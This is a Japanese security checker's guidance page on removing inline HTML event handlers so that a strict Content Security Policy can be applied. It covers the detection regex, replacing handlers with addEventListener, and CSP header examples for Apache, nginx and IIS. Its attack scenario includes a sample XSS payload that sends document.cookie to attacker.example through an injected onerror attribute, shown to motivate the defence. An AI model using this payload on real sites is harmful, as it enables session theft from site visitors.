危険なインラインイベントを抑制するには？onclick属性の問題点・置き換え方・診断基準

危険なインラインイベントを抑制するとは

インラインイベントとは、<button onclick="send()"> や <select onchange="location.href=this.value"> のように、HTMLタグの属性として直接JavaScriptを書く方法です。危険なインラインイベントを抑制するとは、こうしたイベント属性をHTMLから取り除き、外部JavaScriptの addEventListener() で処理を登録する形へ移すことを指します。

<!-- インラインイベント（抑制の対象） -->
<button onclick="toggleMenu()">メニュー</button>

インラインイベントは手軽なため、古いCMSテンプレートや手作りページで多用されています。しかし、Content Security Policy（CSP）でXSSを強く抑止したい場合の大きな障害になります。

CSPの script-src で 'unsafe-inline' を許可しない限り、ブラウザはインラインイベント属性のコードを実行しません。つまり、インラインイベントが多いサイトは 'unsafe-inline' を残さざるを得ず、その結果、攻撃者がHTMLへ差し込んだ onerror=... のような属性も実行されてしまいます。

セキュリティAIチェッカーのこの項目は、トップページのHTMLにインラインイベント属性がどれだけあるかを数え、厳格なCSPを導入しやすい状態かを確認します。

インラインイベントは脆弱性そのものではない

属性値が固定文字列であれば、インラインイベントそれ自体はXSSではありません。CWE上の弱点でもなく、この項目ではXSSの緩和策であるCSPの適用を妨げる要因として扱います。問題は、厳格なCSPを導入できず、他の箇所でXSSが起きたときの被害を抑えられないことです。

インラインイベントがCSPの妨げになる仕組み

'unsafe-inline' なしではインラインイベントは実行されない

MDNの script-src の解説では、'unsafe-inline' を指定しないポリシーでは、インラインの <script> だけでなくインラインイベントハンドラーもブロックされると説明されています。

nonce・hash・strict-dynamicでは許可できない

イベントハンドラーをhashで許可するには 'unsafe-hashes' を併記する必要があり、MDNはこれを「コードを addEventListener() に書き換えられない場合」の手段と位置付けています。また、CSP Level 3ではイベントハンドラー属性だけを制御する script-src-attr ディレクティブも定義されています。

ASVS 5.0.0の要求

ASVS 5.0.0 V3.4.3は、CSPで信頼できるコンテンツだけを読み込み・実行させること（L2）、L3ではnonceまたはhashを用いたレスポンスごとのポリシーを求めています。インラインイベントを addEventListener() へ移すことは、この要件を満たすための前提作業です。OWASP WSTGでは、WSTG-CONF-12「Content Security Policy」とWSTG-CLNT-01「DOM-Based Cross Site Scripting」が関連します。IPA「安全なウェブサイトの作り方」の5. クロスサイト・スクリプティング（1.5節）でも、保険的対策（ブラウザのXSS防止機能を有効にするレスポンスヘッダー）の説明の中でCSPに触れています。

置き換えの基本

<!-- 修正前 -->
<button onclick="toggleMenu()">メニュー</button>

<!-- 修正後 -->
<button id="menu-btn" type="button">メニュー</button>
<script src="/js/menu.js" defer></script>

// /js/menu.js
document.getElementById('menu-btn').addEventListener('click', toggleMenu);

同じ処理が多数の要素にある場合は、親要素で1つだけリスナーを登録し event.target.closest() で対象を判定する「イベント委譲」を使うと、テンプレートの変更量を抑えられます。

インラインイベントについてよくある誤解

• 「インラインイベントがあるとそれだけで脆弱」：属性値が固定文字列であれば、それ自体はXSSではありません。問題は、厳格なCSPを導入できず、他の箇所でXSSが起きたときの被害を抑えられないことです。
• 「'strict-dynamic' を使えばインラインイベントも動く」：'strict-dynamic' は信頼済みスクリプトが読み込むスクリプトへ信頼を伝播させる仕組みで、イベントハンドラー属性を許可するものではありません。
• 「href="javascript:..." は別問題」：javascript: URLもCSPではインラインスクリプトと同様に扱われます。本項目の自動判定対象ではありませんが、移行作業では一緒に洗い出してください。

なお、CSPそのものに 'unsafe-inline' が含まれているかは「CSPでunsafe-inlineを許可していない」、innerHTML や eval() などの危険なAPIの記述は「危険なJavaScript APIの兆候」の各項目で確認します。このページはHTML属性として書かれたイベントハンドラーに絞って解説します。

危険なインラインイベントを抑制の診断基準（セキュリティAIチェッカー）

取得対象

• 診断URLへのGETで取得したトップページ（最終URL）のHTML本文（最大2MB）。
• 外部JavaScriptファイルや、JavaScriptが実行後に動的に追加する属性は対象外です。

検出方法

次の正規表現（大文字小文字を区別しない）に一致する箇所の件数を数えます。空白文字（改行を含む）の直後に続く、代表的なイベントハンドラー属性名と = の組み合わせです。

\son(?:click|dblclick|load|unload|beforeunload|error|abort|
mouse(?:over|out|down|up|move|enter|leave)|key(?:down|up|press)|
focus(?:in|out)?|blur|change|input|submit|reset|select|scroll|resize|
wheel|contextmenu|touch(?:start|end|move)|
pointer(?:down|up|over|out|move|enter|leave)|
drag(?:start|end|over|enter|leave)?|drop|toggle|
animation(?:start|end|iteration)|transitionend|copy|cut|paste|
hashchange|popstate|pageshow|pagehide)\s*=

• window.onload = f のように直前が . のJavaScriptコードは対象外です（直前に空白が必要なため）。
• 一方、インラインスクリプト内で空白の直後に書かれた onload = f のような代入文は、属性と区別できないため件数に含まれます。
• data-onclick のような独自属性や、var online = 1 のようなイベント名以外の語は一致しません。

判定条件

スコアは「Σ(重み×係数)÷Σ(適用項目の重み)×100」で、pass=1.00、warn=0.45、fail=0です。

自治体サイトでの判定例

診断の限界

文字列パターンでの数え上げのため、コード解説ページ内の例示や <textarea> 内の文字列も数えることがあります。また、一覧にないイベント名（oncanplay など）は数えません。件数の多少による段階評価は行わず、1件でもあれば△です。

インラインイベントを放置するとどんなリスクがあるか

攻撃シナリオ（'unsafe-inline' が残っている場合）

1. インラインイベントが多いため、サイトのCSPは script-src 'self' 'unsafe-inline' になっている（またはCSPが無い）。
2. お知らせ一覧の検索機能に反射型XSSがあり、攻撃者は <img src=x onerror="fetch('https://attacker.example/?c='+document.cookie)"> を含むURLを配布する。
3. 'unsafe-inline' が許可されているため、注入された onerror 属性はブラウザでそのまま実行される。

厳格なCSP（nonce＋'strict-dynamic'、'unsafe-inline' なし）を適用していれば、手順3の実行はブラウザで阻止され、被害を緩和できます。インラインイベントの撤去は、この「最後の防御線」を有効にするための準備です。

想定される被害

• XSS発生時に緩和策が働かず、偽情報表示や入力情報の窃取に直結する
• セキュリティ診断で「CSPに 'unsafe-inline' がある」と継続的に指摘され、改善が進まない
• 将来のCMS更改時に、インラインイベントの書き換えが大量に必要になる

インラインイベントの書き換え方とCSPの設定（Apache・nginx・IIS・Next.js）

1. 洗い出し

公開中のHTMLとテンプレートから、インラインイベントと javascript: URLを洗い出します。

curl -s https://www.city.example.lg.jp/ | grep -oiE '\son[a-z]+\s*=' | sort | uniq -c | sort -rn
grep -rnoiE '\son(click|change|load|error|submit|mouseover|focus|keydown)\s*=' ./templates | wc -l
grep -rnoi 'href="javascript:' ./templates | wc -l

2. 書き換え（イベント委譲の例）

文字サイズ切替のように同じ処理が並ぶ箇所は、イベント委譲でまとめて置き換えます。

<!-- 修正前 -->
<button onclick="fontSize('small')">小</button>
<button onclick="fontSize('large')">大</button>

<!-- 修正後 -->
<div id="font-tools">
  <button type="button" data-size="small">小</button>
  <button type="button" data-size="large">大</button>
</div>

document.getElementById('font-tools').addEventListener('click', (e) => {
  const btn = e.target.closest('button[data-size]');
  if (btn) fontSize(btn.dataset.size);
});

プルダウンの自動遷移は、アクセシビリティの観点からも「移動」ボタンを設けたフォーム送信に置き換えるのが望ましい方法です。

3. CSPの段階導入

書き換えが終わった範囲から、Report-OnlyでCSPを試します。script-src-attr 'none' を含めると、残っているイベント属性が違反として報告されます。

Apache（.htaccess）

# Apache (.htaccess)
<IfModule mod_headers.c>
  Header always set Content-Security-Policy-Report-Only "script-src 'self'; script-src-attr 'none'; object-src 'none'; base-uri 'none'"
</IfModule>

nginx

# nginx
add_header Content-Security-Policy-Report-Only "script-src 'self'; script-src-attr 'none'; object-src 'none'; base-uri 'none'" always;

IIS（web.config）

<!-- IIS web.config -->
<add name="Content-Security-Policy-Report-Only" value="script-src 'self'; object-src 'none'; base-uri 'none'" />

Next.js（Vercel）

Next.js（Vercel）では、JSXの onClick はReactがイベントリスナーとして登録するためHTML属性としては出力されず、本項目には該当しません。dangerouslySetInnerHTML で埋め込んだHTMLにインラインイベントが含まれていないかを確認してください。

書き換えられないハンドラーが少数残る場合

どうしても書き換えられない少数のハンドラーは、'unsafe-hashes' と該当ハンドラー文字列のhashで個別に許可する方法があります（'unsafe-inline' の全面許可より範囲が狭い）。

4. 確認方法

• curl -s URL | grep -ciE '\son(click|change|load|error)\s*=' が0になることを確認する。
• Report-Only期間中、ブラウザのコンソールに script-src-attr 違反が出ないか、主要ページ（トップ、検索、フォーム、文字サイズ切替）で確認する。
• 本診断を再実行し、○（pass）になることを確認する。

サイトを壊さないための注意点

• インラインイベントが残った状態で 'unsafe-inline' なしのCSPを強制適用すると、文字サイズ変更やメニュー開閉などが一斉に動かなくなります。必ずReport-Onlyで確認してから強制モードへ移行します。
• 外部ベンダーの読み上げ・翻訳・チャットボットのタグがインラインイベントを含むことがあります。ベンダーにCSP対応版の提供有無を確認します。
• .htaccess のCSPは配下ディレクトリにも再帰的に適用されます。サブディレクトリで運用している別システムへの影響を確認してください。

よくある質問（FAQ）

参考資料

• MDN Content-Security-Policy: script-src
• OWASP ASVS 5.0.0 V3 Web Frontend Security
• OWASP WSTG チェックリスト
• OWASP DOM based XSS Prevention Cheat Sheet
• MDN Content-Security-Policy: script-src-attr
• W3C Content Security Policy Level 3
• IPA「安全なウェブサイトの作り方」クロスサイト・スクリプティング

「危険なインラインイベントを抑制」と関連する診断項目

• CSPでunsafe-inlineを許可していないhigh
• 危険なJavaScript APIの兆候high
• Mixed Contentがないhigh
• WebSocketをWSSで暗号化high
• 廃止されたクライアント技術を使用していないhigh
• postMessageの送受信元を限定high
• 外部JavaScript依存数medium
• 外部JavaScriptのSRImedium